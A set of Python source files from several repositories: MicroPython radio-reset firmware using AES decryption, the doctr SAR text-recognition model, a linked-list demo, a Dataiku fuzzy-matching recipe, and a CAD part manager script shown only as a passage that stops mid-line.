{"seq_id":"17050202534","text":"import pyb\r\nimport spirit1\r\nimport debug\r\nimport os\r\n\r\ndef tenmsTasks():\r\n    global tenms\r\n    global tenmsFlag\r\n    if tenms < 9:\r\n        tenms += 1\r\n    else:\r\n        tenms = 0\r\n        hmsTasks()\r\n        \r\n        \r\ndef hmsTasks():\r\n    global hms\r\n    if hms < 9:\r\n        hms += 1\r\n    else:\r\n        hms = 0\r\n        secTasks()\r\n        \r\ndef secTasks():\r\n    global seconds\r\n    global spirit\r\n    \r\n    global mins\r\n    print('Time Active: {}:{}'.format(mins, seconds))\r\n    \r\n    print('SPIRIT1 State: {}'.format(spirit.state))\r\n    \r\n    numBytes = spirit.rxFIFObytes()\r\n    print('RX Queue Size: {} bytes'.format(numBytes))\r\n    \r\n    data = spirit.readRegisters(0xFF, numBytes)\r\n    print('Data: {}'.format(data))\r\n    print('\\n')\r\n    \r\n    if seconds < 59:\r\n        seconds += 1\r\n    else:\r\n        seconds = 0\r\n        minTasks()\r\n        \r\ndef minTasks():\r\n    global mins\r\n    \r\n    if mins < 59:\r\n        mins += 1\r\n    else:\r\n        mins = 0\r\n\r\ndef tenmsInt():\r\n    global tenmsFlag\r\n    tenmsFlag = True\r\n    \r\ndef irqSet():\r\n    global irqFlag\r\n    print('interrupt')\r\n    irqFlag = True\r\n        \r\ndef setReset():\r\n    global spirit\r\n    spirit.led1.high()\r\n    spirit.led2.high()\r\n    spirit.led3.high()\r\n    \r\ndef resetReset():\r\n    global spirit\r\n    spirit.led1.low()\r\n    spirit.led2.low()\r\n    spirit.led3.low()\r\n    \r\n## constants\r\nAES_KEY = os.urandom(16) #128 bit AES key\r\nRESET_CODE = \"fireCODE\"\r\nRESET_TIME = 3000 #ms\r\n    \r\n## main\r\nstate = 'INIT'\r\ndebug.log('Mode = ' + state)\r\n\r\nprint(\"Initialize Firecode\")\r\n\r\nintCount = 0 #counter\r\n\r\nrtc = pyb.RTC()\r\nnow = rtc.datetime()\r\nthen = now\r\n\r\ntenmsFlag = False\r\ntenms = 0\r\nhms = 0\r\nseconds = 1\r\nmins = 0\r\n\r\nrxFifoSize = 0\r\n\r\nirqFlag = False\r\n\r\nspirit = spirit1.SPIRIT1(1)\r\nspirit.writeAESkeyin(AES_KEY)\r\nspirit.configureGPIO([0xA2, 0x02, 0xA2, 0x0A])\r\n# spirit.gpio2.mode(pyb.Pin.OUT)\r\n#spirit.gpio2.irq(trigger=pyb.Pin.IRQ_FALLING, handler=irqSet)\r\nirqPin = pyb.ExtInt(spirit.gpio2, pyb.ExtInt.IRQ_FALLING, pyb.Pin.PULL_UP, irqSet)\r\nspirit.configureIRQ([0x40, 0x00, 0x00, 0x01])\r\n# \r\n# spirit.enableLDCR(True)\r\n# spirit.writeRegisters(0x53, bytearray([0xFF, 0xFF]))\r\n# spirit.writeRegisters(0x55, bytearray([0xFF, 0xFF]))\r\n\r\ntim7 = pyb.Timer(7, freq=100)\r\ntim7.callback(lambda t: tenmsInt())\r\n\r\n# spirit.sendCommand(0x61)\r\n\r\n# resetPin = pyb.Pin()\r\n\r\n# taskScheduler = scheduler.Scheduler(100, 1)\r\n# \r\n# task_OneSecond = [tasks.TestTask, 100, 0]\r\n# taskScheduler.AddTask(task_OneSecond)\r\n\r\n\r\n# while taskScheduler.StateGet() == False:\r\nwhile True:\r\n    \r\n#     taskScheduler.Run()\r\n#     pyb.wfi()\r\n    #print(spirit.rxFIFObytes())\r\n    \r\n    if irqFlag:\r\n        inqBits = spirit.readInterrupt()\r\n        print(inqBits)\r\n        if inqBits[3] & 0x01: #RX data ready\r\n            print('Rx Data Ready')\r\n            numBytes = spirit.rxFIFObytes()\r\n            print(numBytes)\r\n            payload = spirit.readFIFO(numBytes)\r\n            print(payload)\r\n            spirit.writeAESin(payload)\r\n            spirit.startAESkeydec()\r\n            \r\n        if (inqBits[0] >> 7) & 0x01: #AES end of op\r\n            print('AES end of op')\r\n            output = spirit.readAESout()\r\n            #cast output into string\r\n            if output == RESET_CODE:\r\n#                 resetPin.high()\r\n                setReset()\r\n                pyb.delay(RESET_TIME)\r\n                resetReset()\r\n#                 resetPin.low()\r\n                intCount += 1\r\n            \r\n            else:\r\n                print('invalid code')\r\n    \r\n    if tenmsFlag:\r\n        tenmsTasks()\r\n        tenmsFlag = False\r\n        \r\n#         rxData = spirit.readall() #check the RX queue for data receieved\r\n#         if rxData != None and len(rxData) > 0:\r\n#             print rxData\r\n        ","repo_name":"markusc90/spyrit","sub_path":"spyrit/upy/main_firecode.py","file_name":"main_firecode.py","file_ext":"py","file_size_in_byte":3756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"5130589266","text":"from copy import deepcopy\nfrom typing import Any, Dict, List, Optional, Tuple\n\nimport tensorflow as tf\nfrom tensorflow.keras import Model, Sequential, layers\n\nfrom doctr.datasets import VOCABS\nfrom doctr.utils.repr import NestedObject\n\nfrom ...classification import resnet31\nfrom ...utils.tensorflow import _bf16_to_float32, load_pretrained_params\nfrom ..core import RecognitionModel, RecognitionPostProcessor\n\n__all__ = [\"SAR\", \"sar_resnet31\"]\n\ndefault_cfgs: Dict[str, Dict[str, Any]] = {\n    \"sar_resnet31\": {\n        \"mean\": (0.694, 0.695, 0.693),\n        \"std\": (0.299, 0.296, 0.301),\n        \"input_shape\": (32, 128, 3),\n        \"vocab\": VOCABS[\"french\"],\n        \"url\": \"https://doctr-static.mindee.com/models?id=v0.6.0/sar_resnet31-c41e32a5.zip&src=0\",\n    },\n}\n\n\nclass SAREncoder(layers.Layer, NestedObject):\n    \"\"\"Implements encoder module of the SAR model\n\n    Args:\n        rnn_units: number of hidden rnn units\n        dropout_prob: dropout probability\n    \"\"\"\n\n    def __init__(self, rnn_units: int, dropout_prob: float = 0.0) -> None:\n        super().__init__()\n        self.rnn = Sequential(\n            [\n                layers.LSTM(units=rnn_units, return_sequences=True, recurrent_dropout=dropout_prob),\n                layers.LSTM(units=rnn_units, return_sequences=False, recurrent_dropout=dropout_prob),\n            ]\n        )\n\n    def call(\n        self,\n        x: tf.Tensor,\n        **kwargs: Any,\n    ) -> tf.Tensor:\n        # (N, C)\n        return self.rnn(x, **kwargs)\n\n\nclass AttentionModule(layers.Layer, NestedObject):\n    \"\"\"Implements attention module of the SAR model\n\n    Args:\n        attention_units: number of hidden attention units\n\n    \"\"\"\n\n    def __init__(self, attention_units: int) -> None:\n        super().__init__()\n        self.hidden_state_projector = layers.Conv2D(\n            attention_units,\n            1,\n            strides=1,\n            use_bias=False,\n            padding=\"same\",\n            kernel_initializer=\"he_normal\",\n        )\n        self.features_projector = layers.Conv2D(\n            attention_units,\n            3,\n            strides=1,\n            use_bias=True,\n            padding=\"same\",\n            kernel_initializer=\"he_normal\",\n        )\n        self.attention_projector = layers.Conv2D(\n            1,\n            1,\n            strides=1,\n            use_bias=False,\n            padding=\"same\",\n            kernel_initializer=\"he_normal\",\n        )\n        self.flatten = layers.Flatten()\n\n    def call(\n        self,\n        features: tf.Tensor,\n        hidden_state: tf.Tensor,\n        **kwargs: Any,\n    ) -> tf.Tensor:\n        [H, W] = features.get_shape().as_list()[1:3]\n        # shape (N, H, W, vgg_units) -> (N, H, W, attention_units)\n        features_projection = self.features_projector(features, **kwargs)\n        # shape (N, 1, 1, rnn_units) -> (N, 1, 1, attention_units)\n        hidden_state = tf.expand_dims(tf.expand_dims(hidden_state, axis=1), axis=1)\n        hidden_state_projection = self.hidden_state_projector(hidden_state, **kwargs)\n        projection = tf.math.tanh(hidden_state_projection + features_projection)\n        # shape (N, H, W, attention_units) -> (N, H, W, 1)\n        attention = self.attention_projector(projection, **kwargs)\n        # shape (N, H, W, 1) -> (N, H * W)\n        attention = self.flatten(attention)\n        attention = tf.nn.softmax(attention)\n        # shape (N, H * W) -> (N, H, W, 1)\n        attention_map = tf.reshape(attention, [-1, H, W, 1])\n        glimpse = tf.math.multiply(features, attention_map)\n        # shape (N, H * W) -> (N, C)\n        return tf.reduce_sum(glimpse, axis=[1, 2])\n\n\nclass SARDecoder(layers.Layer, NestedObject):\n    \"\"\"Implements decoder module of the SAR model\n\n    Args:\n        rnn_units: number of hidden units in recurrent cells\n        max_length: maximum length of a sequence\n        vocab_size: number of classes in the model alphabet\n        embedding_units: number of hidden embedding units\n        attention_units: number of hidden attention units\n        num_decoder_cells: number of LSTMCell layers to stack\n        dropout_prob: dropout probability\n\n    \"\"\"\n\n    def __init__(\n        self,\n        rnn_units: int,\n        max_length: int,\n        vocab_size: int,\n        embedding_units: int,\n        attention_units: int,\n        num_decoder_cells: int = 2,\n        dropout_prob: float = 0.0,\n    ) -> None:\n        super().__init__()\n        self.vocab_size = vocab_size\n        self.max_length = max_length\n\n        self.embed = layers.Dense(embedding_units, use_bias=False)\n        self.embed_tgt = layers.Embedding(embedding_units, self.vocab_size + 1)\n\n        self.lstm_cells = layers.StackedRNNCells(\n            [layers.LSTMCell(rnn_units, implementation=1) for _ in range(num_decoder_cells)]\n        )\n        self.attention_module = AttentionModule(attention_units)\n        self.output_dense = layers.Dense(self.vocab_size + 1, use_bias=True)\n        self.dropout = layers.Dropout(dropout_prob)\n\n    def call(\n        self,\n        features: tf.Tensor,\n        holistic: tf.Tensor,\n        gt: Optional[tf.Tensor] = None,\n        **kwargs: Any,\n    ) -> tf.Tensor:\n        if gt is not None:\n            gt_embedding = self.embed_tgt(gt, **kwargs)\n\n        logits_list: List[tf.Tensor] = []\n\n        for t in range(self.max_length + 1):  # 32\n            if t == 0:\n                # step to init the first states of the LSTMCell\n                states = self.lstm_cells.get_initial_state(\n                    inputs=None, batch_size=features.shape[0], dtype=features.dtype\n                )\n                prev_symbol = holistic\n            elif t == 1:\n                # step to init a 'blank' sequence of length vocab_size + 1 filled with zeros\n                # (N, vocab_size + 1) --> (N, embedding_units)\n                prev_symbol = tf.zeros([features.shape[0], self.vocab_size + 1])\n                prev_symbol = self.embed(prev_symbol, **kwargs)\n            else:\n                if gt is not None:\n                    # (N, embedding_units) -2 because of <bos> and <eos> (same)\n                    prev_symbol = self.embed(gt_embedding[:, t - 2], **kwargs)\n                else:\n                    # -1 to start at timestep where prev_symbol was initialized\n                    index = tf.argmax(logits_list[t - 1], axis=-1)\n                    # update prev_symbol with ones at the index of the previous logit vector\n                    # (N, embedding_units)\n                    index = tf.ones_like(index)\n                    prev_symbol = tf.scatter_nd(\n                        tf.expand_dims(index, axis=1),\n                        prev_symbol,\n                        tf.constant([features.shape[0], features.shape[-1]], dtype=tf.int64),\n                    )\n\n            # (N, C), (N, C)  take the last hidden state and cell state from current timestep\n            _, states = self.lstm_cells(prev_symbol, states, **kwargs)\n            # states = (hidden_state, cell_state)\n            hidden_state = states[0][0]\n            # (N, H, W, C), (N, C) --> (N, C)\n            glimpse = self.attention_module(features, hidden_state, **kwargs)\n            # (N, C), (N, C) --> (N, 2 * C)\n            logits = tf.concat([hidden_state, glimpse], axis=1)\n            logits = self.dropout(logits, **kwargs)\n            # (N, vocab_size + 1)\n            logits_list.append(self.output_dense(logits, **kwargs))\n\n        # (max_length + 1, N, vocab_size + 1) --> (N, max_length + 1, vocab_size + 1)\n        return tf.transpose(tf.stack(logits_list[1:]), (1, 0, 2))\n\n\nclass SAR(Model, RecognitionModel):\n    \"\"\"Implements a SAR architecture as described in `\"Show, Attend and Read:A Simple and Strong Baseline for\n    Irregular Text Recognition\" <https://arxiv.org/pdf/1811.00751.pdf>`_.\n\n    Args:\n        feature_extractor: the backbone serving as feature extractor\n        vocab: vocabulary used for encoding\n        rnn_units: number of hidden units in both encoder and decoder LSTM\n        embedding_units: number of embedding units\n        attention_units: number of hidden units in attention module\n        max_length: maximum word length handled by the model\n        num_decoder_cells: number of LSTMCell layers to stack\n        dropout_prob: dropout probability for the encoder and decoder\n        exportable: onnx exportable returns only logits\n        cfg: dictionary containing information about the model\n    \"\"\"\n\n    _children_names: List[str] = [\"feat_extractor\", \"encoder\", \"decoder\", \"postprocessor\"]\n\n    def __init__(\n        self,\n        feature_extractor,\n        vocab: str,\n        rnn_units: int = 512,\n        embedding_units: int = 512,\n        attention_units: int = 512,\n        max_length: int = 30,\n        num_decoder_cells: int = 2,\n        dropout_prob: float = 0.0,\n        exportable: bool = False,\n        cfg: Optional[Dict[str, Any]] = None,\n    ) -> None:\n        super().__init__()\n        self.vocab = vocab\n        self.exportable = exportable\n        self.cfg = cfg\n        self.max_length = max_length + 1  # Add 1 timestep for EOS after the longest word\n\n        self.feat_extractor = feature_extractor\n\n        self.encoder = SAREncoder(rnn_units, dropout_prob)\n        self.decoder = SARDecoder(\n            rnn_units,\n            self.max_length,\n            len(vocab),\n            embedding_units,\n            attention_units,\n            num_decoder_cells,\n            dropout_prob,\n        )\n\n        self.postprocessor = SARPostProcessor(vocab=vocab)\n\n    @staticmethod\n    def compute_loss(\n        model_output: tf.Tensor,\n        gt: tf.Tensor,\n        seq_len: tf.Tensor,\n    ) -> tf.Tensor:\n        \"\"\"Compute categorical cross-entropy loss for the model.\n        Sequences are masked after the EOS character.\n\n        Args:\n            gt: the encoded tensor with gt labels\n            model_output: predicted logits of the model\n            seq_len: lengths of each gt word inside the batch\n\n        Returns:\n            The loss of the model on the batch\n        \"\"\"\n        # Input length : number of timesteps\n        input_len = tf.shape(model_output)[1]\n        # Add one for additional <eos> token\n        seq_len = seq_len + 1\n        # One-hot gt labels\n        oh_gt = tf.one_hot(gt, depth=model_output.shape[2])\n        # Compute loss\n        cce = tf.nn.softmax_cross_entropy_with_logits(oh_gt, model_output)\n        # Compute mask\n        mask_values = tf.zeros_like(cce)\n        mask_2d = tf.sequence_mask(seq_len, input_len)\n        masked_loss = tf.where(mask_2d, cce, mask_values)\n        ce_loss = tf.math.divide(tf.reduce_sum(masked_loss, axis=1), tf.cast(seq_len, model_output.dtype))\n        return tf.expand_dims(ce_loss, axis=1)\n\n    def call(\n        self,\n        x: tf.Tensor,\n        target: Optional[List[str]] = None,\n        return_model_output: bool = False,\n        return_preds: bool = False,\n        **kwargs: Any,\n    ) -> Dict[str, Any]:\n        features = self.feat_extractor(x, **kwargs)\n        # vertical max pooling --> (N, C, W)\n        pooled_features = tf.reduce_max(features, axis=1)\n        # holistic (N, C)\n        encoded = self.encoder(pooled_features, **kwargs)\n\n        if target is not None:\n            gt, seq_len = self.build_target(target)\n            seq_len = tf.cast(seq_len, tf.int32)\n\n        if kwargs.get(\"training\", False) and target is None:\n            raise ValueError(\"Need to provide labels during training for teacher forcing\")\n\n        decoded_features = _bf16_to_float32(\n            self.decoder(features, encoded, gt=None if target is None else gt, **kwargs)\n        )\n\n        out: Dict[str, tf.Tensor] = {}\n        if self.exportable:\n            out[\"logits\"] = decoded_features\n            return out\n\n        if return_model_output:\n            out[\"out_map\"] = decoded_features\n\n        if target is None or return_preds:\n            # Post-process boxes\n            out[\"preds\"] = self.postprocessor(decoded_features)\n\n        if target is not None:\n            out[\"loss\"] = self.compute_loss(decoded_features, gt, seq_len)\n\n        return out\n\n\nclass SARPostProcessor(RecognitionPostProcessor):\n    \"\"\"Post processor for SAR architectures\n\n    Args:\n        vocab: string containing the ordered sequence of supported characters\n    \"\"\"\n\n    def __call__(\n        self,\n        logits: tf.Tensor,\n    ) -> List[Tuple[str, float]]:\n        # compute pred with argmax for attention models\n        out_idxs = tf.math.argmax(logits, axis=2)\n        # N x L\n        probs = tf.gather(tf.nn.softmax(logits, axis=-1), out_idxs, axis=-1, batch_dims=2)\n        # Take the minimum confidence of the sequence\n        probs = tf.math.reduce_min(probs, axis=1)\n\n        # decode raw output of the model with tf_label_to_idx\n        out_idxs = tf.cast(out_idxs, dtype=\"int32\")\n        embedding = tf.constant(self._embedding, dtype=tf.string)\n        decoded_strings_pred = tf.strings.reduce_join(inputs=tf.nn.embedding_lookup(embedding, out_idxs), axis=-1)\n        decoded_strings_pred = tf.strings.split(decoded_strings_pred, \"<eos>\")\n        decoded_strings_pred = tf.sparse.to_dense(decoded_strings_pred.to_sparse(), default_value=\"not valid\")[:, 0]\n        word_values = [word.decode() for word in decoded_strings_pred.numpy().tolist()]\n\n        return list(zip(word_values, probs.numpy().clip(0, 1).tolist()))\n\n\ndef _sar(\n    arch: str,\n    pretrained: bool,\n    backbone_fn,\n    pretrained_backbone: bool = True,\n    input_shape: Optional[Tuple[int, int, int]] = None,\n    **kwargs: Any,\n) -> SAR:\n    pretrained_backbone = pretrained_backbone and not pretrained\n\n    # Patch the config\n    _cfg = deepcopy(default_cfgs[arch])\n    _cfg[\"input_shape\"] = input_shape or _cfg[\"input_shape\"]\n    _cfg[\"vocab\"] = kwargs.get(\"vocab\", _cfg[\"vocab\"])\n\n    # Feature extractor\n    feat_extractor = backbone_fn(\n        pretrained=pretrained_backbone,\n        input_shape=_cfg[\"input_shape\"],\n        include_top=False,\n    )\n\n    kwargs[\"vocab\"] = _cfg[\"vocab\"]\n\n    # Build the model\n    model = SAR(feat_extractor, cfg=_cfg, **kwargs)\n    # Load pretrained parameters\n    if pretrained:\n        load_pretrained_params(model, default_cfgs[arch][\"url\"])\n\n    return model\n\n\ndef sar_resnet31(pretrained: bool = False, **kwargs: Any) -> SAR:\n    \"\"\"SAR with a resnet-31 feature extractor as described in `\"Show, Attend and Read:A Simple and Strong\n    Baseline for Irregular Text Recognition\" <https://arxiv.org/pdf/1811.00751.pdf>`_.\n\n    >>> import tensorflow as tf\n    >>> from doctr.models import sar_resnet31\n    >>> model = sar_resnet31(pretrained=False)\n    >>> input_tensor = tf.random.uniform(shape=[1, 64, 256, 3], maxval=1, dtype=tf.float32)\n    >>> out = model(input_tensor)\n\n    Args:\n        pretrained (bool): If True, returns a model pre-trained on our text recognition dataset\n\n    Returns:\n        text recognition architecture\n    \"\"\"\n\n    return _sar(\"sar_resnet31\", pretrained, resnet31, **kwargs)\n","repo_name":"mindee/doctr","sub_path":"doctr/models/recognition/sar/tensorflow.py","file_name":"tensorflow.py","file_ext":"py","file_size_in_byte":14941,"program_lang":"python","lang":"en","doc_type":"code","stars":1900,"dataset":"github-code","pt":"35"}
{"seq_id":"35937055686","text":"#Craeting LinkedList with three nodes\nclass Node: #Here we create a node structure\n    def __init__(self, data):\n        self.data = data\n        self.next = None\nclass LL: #This class contains linkedlist Functions\n    def __init__(self):\n        self.head = None\n    def display(self):\n        temp = list.head\n        while(temp):\n            print(temp.data)\n            temp = temp.next\nlist = LL()\nlist.head = Node(1)\nsecond = Node(2)\nthird = Node(3)\n\n#linking\n\nlist.head.next = second\nsecond.next = third\nthird.next = None\n\nlist.display()","repo_name":"Omkar2703/python-respository","sub_path":"Data Structure/LL1.py","file_name":"LL1.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"39139654094","text":"\n\nimport dataiku\nfrom dataiku.customrecipe import *\n\n\ninput_A_names = get_input_names_for_role('input_A_role')[0]\n\n\n# For outputs, the process is the same:\noutput_A_names = get_output_names_for_role('main_output')[0]\n\n\n# The configuration consists of \n\n# Parameters must be added to the recipe.json file so that \n# the Settings tab of the recipe. The field \"params\" holds a list of all the params for wich the\n# user will be prompted for values.\n\n# The configuration is simply a map of parameters, and retrieving the value of one of them is simply:\nCOL_BLOCK = get_recipe_config()['COL_BLOCK']\nCOL_TO_COMPARE = get_recipe_config()['COL_TO_COMPARE']\nprint(\"here\")\nprint(COL_TO_COMPARE)\nUNIQUE = get_recipe_config()['UNIQUE']\n\n\nTHRESHOLD = int(get_recipe_config()['threshold'])\n\n\n\n\n# -------------------------------------------------------------------------------- NOTEBOOK-CELL: CODE\nimport dataiku\nfrom dataiku import pandasutils as pdu\nimport pandas as pd\n\n# -------------------------------------------------------------------------------- NOTEBOOK-CELL: CODE\nimport recordlinkage\nimport pandas\n\n# -------------------------------------------------------------------------------- NOTEBOOK-CELL: CODE\nimport recordlinkage\nfrom recordlinkage.datasets import load_febrl1\n\nUNIQUE = \"_row_number\"\nCOL_BLOCK = \"Name_1_2_combined\"\nCOL_TO_COMPARE = [\"Name_1\", \"Street_1\", \"House_Number_1\"]\nTHRESHOLD = 0.7\n\ndataset_X01_BusinessPartner_filtered = dataiku.Dataset(input_A_names)\ndfA = dataset_X01_BusinessPartner_filtered.get_dataframe()\n\n# -------------------------------------------------------------------------------- NOTEBOOK-CELL: CODE\n# Indexation step\nindexer = recordlinkage.Index()\n\nindexer = recordlinkage.SortedNeighbourhoodIndex(\n        COL_BLOCK, window=9)\n\n\n\n#indexer.block(left_on='Name_1_2_combined')\n\n\ncandidate_links = indexer.index(dfA)\n\n# -------------------------------------------------------------------------------- NOTEBOOK-CELL: CODE\n# Comparison step\ncompare_cl = recordlinkage.Compare()\n\nfor col_name in COL_TO_COMPARE:\n    compare_cl.string(col_name, col_name, method='damerau_levenshtein', threshold=THRESHOLD)\n\nprint('does it work?')\n#compare_cl.string('Matchcode_Term_1', 'Matchcode_Term_1', method='damerau_levenshtein', threshold=0.85)\n\n\nfeatures = compare_cl.compute(candidate_links, dfA)\n\n# Classification step\nfeatures = features[features.sum(axis=1) >= len(COL_TO_COMPARE)]\nfeatures = features.reset_index()\n\n# -------------------------------------------------------------------------------- NOTEBOOK-CELL: CODE\nCOL_TO_COMPARE.append(COL_BLOCK)\nCOL_TO_COMPARE.append(UNIQUE)\n\ntmp1 = features.merge(dfA[COL_TO_COMPARE] , how='inner', left_index=False, right_index=True, left_on=\"level_0\")\ntmp2= features[[\"level_0\", \"level_1\"]].merge(dfA[COL_TO_COMPARE], how='inner', left_index=False, right_index=True, left_on=\"level_1\")\n\nfeatures = tmp1.merge(tmp2, how='inner', left_index=True, right_index=True).drop([ \"level_0_x\", \"level_1_x\", \"level_0_y\", \"level_1_y\"], axis=1)\n\n# -------------------------------------------------------------------------------- NOTEBOOK-CELL: CODE\n# Recipe outputs\nplugin_test = dataiku.Dataset(output_A_names)\nplugin_test.write_with_schema(features)","repo_name":"augustinador/plugin_feat","sub_path":"custom-recipes/fuzzy/recipe.py","file_name":"recipe.py","file_ext":"py","file_size_in_byte":3203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"36372674371","text":"\"\"\"\r\nmanages a cad project\r\n\r\nAlexander \"Gilly\" Gill\r\nalexgillygill@gmail.com\r\nhttps://gilly.tk\r\n\"\"\"\r\n\r\nimport sys\r\n\r\nif sys.version_info[0] < 3:\r\n    raise Exception('cm needs python 3 or later.')\r\n\r\nimport argparse\r\nimport glob\r\nimport os\r\n\r\nPARTLIST = 'partlist.csv'\r\nFILELIST = 'filelist.csv'\r\n\r\nPARTNUMBER = 'partnumber'\r\nDESCRIPTION = 'description'\r\nPARLOC = 'par file location'\r\nSTATUS = 'status'\r\nPATH = 'file'\r\nPARTLISTFORMAT = [PARTNUMBER, DESCRIPTION, PARLOC, STATUS]\r\n\r\nFILELISTFORMAT = [PATH, PARTNUMBER]\r\n\r\nSOURCEDIR = 'source'\r\nBUILDDIR  = 'build'\r\nEXTENSIONS = ['.par', '.pdf', '.dft', '.dxf', '.stl', '.x_t']\r\n\r\nNEWPASTA = 'overwrite this file with a part file'\r\n\r\nclass Part:\r\n    \"\"\"a single part\"\"\"\r\n    def __init__(self):\r\n        self.partnumber = ''\r\n        self.description = 'uninitialised part'\r\n        self.location = ''\r\n        self.status = 'active'\r\n    def activate(self):\r\n        \"\"\"set the part to active\"\"\"\r\n        self.status = 'active'\r\n    def deactivate(self):\r\n        \"\"\"set the part to inactive\"\"\"\r\n        self.status = 'inactive'\r\n\r\ndef openpartlist():\r\n    \"\"\"opens and returns PARTLIST for reading and writing\"\"\"\r\n    # TODO: read file after open and initialise if empty\r\n    if os.path.isfile(PARTLIST):\r\n        return open(PARTLIST, 'a+', newline='')\r\n    else:\r\n        # no partlist, so create one\r\n        partlist = open(PARTLIST, 'a+', newline='')\r\n        import csv\r\n        writer = csv.writer(partlist)\r\n        writer.writerow(PARTLISTFORMAT)\r\n        return partlist\r\n\r\ndef openfilelist():\r\n    \"\"\"opens and returns FILELIST for reading and writing\"\"\"\r\n    # TODO: read file after open and initialise if empty\r\n    if os.path.isfile(FILELIST):\r\n        return open(FILELIST, 'a+', newline='')\r\n    else:\r\n        # no partlist, so create one\r\n        filelist = open(FILELIST, 'a+', newline='')\r\n        import csv\r\n        writer = csv.writer(filelist)\r\n        writer.writerow(FILELISTFORMAT)\r\n        return filelist\r\n\r\ndef exists(string, csvfile, column):\r\n    \"\"\"returns whether string is in column of csvfile\"\"\"\r\n    # move to begining of file so it can all be read\r\n    csvfile.seek(0, os.SEEK_SET)\r\n\r\n    import csv\r\n    reader = csv.reader(csvfile)\r\n\r\n    # search entire partlist for partnumber in collumn partnumber_loc\r\n    for entry in reader:\r\n        try:\r\n            if entry[column] == string:\r\n                return True\r\n        except IndexError: # column is not in this row. ignore\r\n            pass\r\n\r\n    return False\r\n\r\ndef get_new_partnumber(partlist):\r\n    \"\"\"creates a new partnumber unique to partlist\"\"\"\r\n    from random import randrange\r\n    col = PARTLISTFORMAT.index(PARTNUMBER)\r\n    # try 60,000 times to get a new partnumber\r\n    for _ in range(0, 60000):\r\n        new_partnumber = format(randrange(0xffff), '04x')\r\n        if not exists(new_partnumber, partlist, col):\r\n            return new_partnumber\r\n    # couldn't find a unique one\r\n    raise Exception(\"couldn't find a new unique partnumber\")\r\n    #TODO: handle this properly\r\n\r\ndef get_active_partnumbers(partlist):\r\n    # move to begining so all of partlist can be read\r\n    partlist.seek(0, os.SEEK_SET)\r\n\r\n    import csv\r\n    reader = csv.reader(partlist)\r\n\r\n    # search in STATUS column for 'active'\r\n    status_column = PARTLISTFORMAT.index(STATUS)\r\n    partnumber_column = PARTLISTFORMAT.index(PARTNUMBER)\r\n    for entry in reader:\r\n        try:\r\n            if entry[status_column] == 'active':\r\n                yield entry[partnumber_column]\r\n        except IndexError: # status_column is not in this row. ignore\r\n            pass\r\n\r\ndef get_file_locations_by_partnumber(partnumber, filelist):\r\n    # move to begining of filelist so it can all be read\r\n    filelist.seek(0, os.SEEK_SET)\r\n\r\n    import csv\r\n    reader = csv.reader(filelist)\r\n\r\n    # search in PARTNUMBER column for partnumber\r\n    partnumber_column = FILELISTFORMAT.index(PARTNUMBER)\r\n    file_loc_column = FILELISTFORMAT.index(PATH)\r\n    for entry in reader:\r\n        try:\r\n            if entry[partnumber_column] == partnumber:\r\n                yield entry[file_loc_column]\r\n        except IndexError: # one of the columns doesn't exist\r\n            pass\r\n\r\ndef add_part(part, partlist):\r\n    \"\"\"adds a part to partlist\"\"\"\r\n\r\n    # check if the part is already in partlist\r\n    if exists(part.partnumber, partlist, PARTLISTFORMAT.index(PARTNUMBER)):\r\n        print('part is already in partlist: ' + part.partnumber)\r\n    else:\r\n        import csv\r\n        writer = csv.writer(partlist)\r\n        # add to end of partlist\r\n        partlist.seek(0, os.SEEK_END)\r\n        writer.writerow([part.partnumber, part.description, part.location,\r\n                         part.status])\r\n\r\ndef add_file(path, partnumber, filelist):\r\n    \"\"\"adds a file to filelist\"\"\"\r\n    # check if file is already in FILELIST\r\n    if not exists(path, filelist, FILELISTFORMAT.index(PATH)):\r\n        import csv\r\n        writer = csv.writer(filelist)\r\n        # add to end of filelist\r\n        filelist.seek(0, os.SEEK_END)\r\n        writer.writerow([path, partnumber])\r\n    else: print('file is already in filelist: ' + path)\r\n\r\ndef parse_args(args):\r\n    \"\"\"returns the arguments the user gave\"\"\"\r\n    parser = argparse.ArgumentParser(description='manage a cad project')\r\n    parser.add_argument('command', choices=['add'],\r\n                        help='the cm command to run')\r\n    parser.add_argument('options', nargs='*',\r\n                        help='options for the command to take')\r\n    args = parser.parse_args(args)\r\n    return args\r\n\r\ndef add(options):\r\n    \"\"\"add some files to filelist.csv\"\"\"\r\n    parser = argparse.ArgumentParser(description='add a file', prog='cm add')\r\n    parser.add_argument('files', nargs='*', help='the files to add')\r\n    opts = parser.parse_args(options)\r\n\r\n    # interate over files in options, and add them to filelist\r\n    with openpartlist() as partlist, openfilelist() as filelist:\r\n        for filereq in opts.files:\r\n\r\n            if os.path.isdir(filereq):\r\n                locations = glob.glob(filereq + '/**', recursive=True)\r\n            else:\r\n                locations = glob.glob('**/' + filereq, recursive=True)\r\n\r\n            for fileloc in locations:\r\n                # do nothing if the file isn't in SOURCEDIR\r\n                if os.path.normpath(fileloc).split(os.sep)[0] != SOURCEDIR:\r\n                    continue\r\n\r\n                # do nothing if the file is not of allowed type\r\n                if os.path.splitext(fileloc)[1] not in EXTENSIONS:\r\n                    continue\r\n\r\n                #get partnumber\r\n                print(\"which part does this file belong to: \"\r\n                      + os.path.basename(fileloc))\r\n                partnumber = input('partnumber: ')\r\n\r\n                # if partnumber does not exist, make a new part and add it to\r\n                # partlist\r\n                if not exists(partnumber, partlist,\r\n                              PARTLISTFORMAT.index(PARTNUMBER)):\r\n                    part = Part()\r\n                    part.partnumber = partnumber\r\n\r\n                    # if this is the par file, add it as location\r\n                    if os.path.splitext(fileloc)[1] == '.par':\r\n                        part.location = fileloc\r\n                    else:\r\n                        part.location = 'err: no par location'\r\n\r\n                    # get a description for the part\r\n                    print('give this part a description')\r\n                    part.description = input('eg. \"Drive Shaft\" > ')\r\n\r\n                    add_part(part, partlist)\r\n                #add file to filelist\r\n                add_file(fileloc, partnumber, filelist)\r\n\r\ndef safe_open_write(path):\r\n    \"\"\"open a new file when directory may not exist\"\"\"\r\n    os.makedirs(os.path.dirname(path), exist_ok=True)\r\n    return open(path, 'x')\r\n\r\ndef new(options):\r\n    parser = argparse.ArgumentParser(description='make a new managed part',\r\n                                     prog='cm new')\r\n    parser.add_argument('-d', '--description', required=True,\r\n                        help='a description of the new part')\r\n    parser.add_argument('-p', 